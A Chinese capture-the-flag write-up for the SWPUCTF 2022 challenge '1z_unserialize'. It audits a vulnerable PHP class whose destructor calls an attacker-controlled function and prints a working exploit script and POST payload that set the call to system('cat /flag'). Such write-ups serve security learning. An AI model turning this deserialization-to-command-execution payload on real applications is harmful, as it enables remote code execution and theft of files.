当前位置: 首页 > news >正文

[SWPUCTF 2022 新生赛]1z_unserialize

题目描述:是很简单的反序列化噢

代码审计看注释

<?php
 
class lyh{											//定义一个类为lyh
    public $url = 'NSSCTF.com';//公共属性,初始值为NSSCTF.com
    public $lt;									//公共属性,没有初始值
    public $lly;								//公共属性,没有初始值
     
     function  __destruct()	//__destruct()方法是php中的一个魔术方法,当对象被销毁是自动调用
     {
        $a = $this->lt;					
       //在这个方法中$a被赋值为$this->lt,然后$a($this->lly)被调用,这意味这$this->lt应给是一个
       //可以调用的函数或方法,	而$this-lly是传递给这个函数的参数

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
//这行代码从POST请求中获取nss参数,并将其反序列化为php对象。反序列操作会将字符串转换回PHP对象
highlight_file(__FILE__);
 
 
?>
  1. 补充大佬的解释
  2. a($this->lly): 将 $this->lly 的值作为参数传递给 $a 所代表的函数。
  3. $a = $this->lt;$a($this->lly);相当于lt(lly):很想命令执行函数+指令
  4. 所以我们可以通过构造一个恶意的序列化对象,将自定义的函数传递给$lt属性,然后将要执行的代码(或指向一个恶意代码文件的路径)传递给$lly属性。当对象被序列化后在被反序列化是,__destruct方法会被自动调用,从而执行指定的恶意操作。
  5. 只要传参把a变成system();,this-lly变成ls或者cat就是一个简单的命令注入了system("cat /flag");

写出php脚本exp

<?php
class lyh{
   public $url = 'NSSCTF.com';
   public $lt = "system";
   public $lly = "cat /flag";
}

$sss = new lyh();
echo serialize($sss);
//O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

POST传参nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

相关文章:

  • DeepSeek R1:揭示适度思考在信息处理中的关键作用
  • 4070Super安装GPU版本pytorch记录
  • Windows本地Docker+Open-WebUI部署DeepSeek
  • 11.24 SpringMVC(1)@RequestMapping、@RestController、@RequestParam
  • 回文子串 与 回文子序列?数量?最长的情况?
  • 深度解析基于Transformer的LLaMA2模型结构:从分词到推理的完整流程
  • xss漏洞
  • HashMap如何实现线程安全
  • leetcode 76. 最小覆盖子串
  • Materials Studio MS2020在linux系统上的安装包下载地址 支持centos Ubuntu rocky等系统
  • 爬虫系列之【数据解析之正则】《二》
  • 神经网络之CNN文本识别
  • LeetCode 热题100 3. 无重复字符的最长子串
  • LabVIEW DataSocket 通信库详解
  • 基于DeepSeek 的图生文最新算法 VLM-R1
  • Go开发框架Sponge+AI助手协同配合重塑企业级开发范式
  • 论文阅读:CAN GENERATIVE LARGE LANGUAGE MODELS PERFORM ASR ERROR CORRECTION?
  • 【C语言显示Linux系统参数】
  • c++面试常见问题:虚表指针存在于内存哪个分区
  • LeetCodehot 力扣热题100 组合总和
  • 宋鹍已任首都机场集团有限公司董事长、党委书记
  • 俄罗斯哈巴罗夫斯克市首次举办“俄中论坛”
  • 贵州茅台:支持工作餐不上酒的规定,请投资者相信茅台创新和自我调节能力
  • 老旧小区加装电梯后续维护谁负责?上海:各区属房管集团托底保障
  • 中国田径巡回赛西安站完赛:男子跳远石雨豪夺冠,女子跳高刘肼毅折桂
  • 俄需要达成怎样的特别军事行动结果?普京:包含四个方面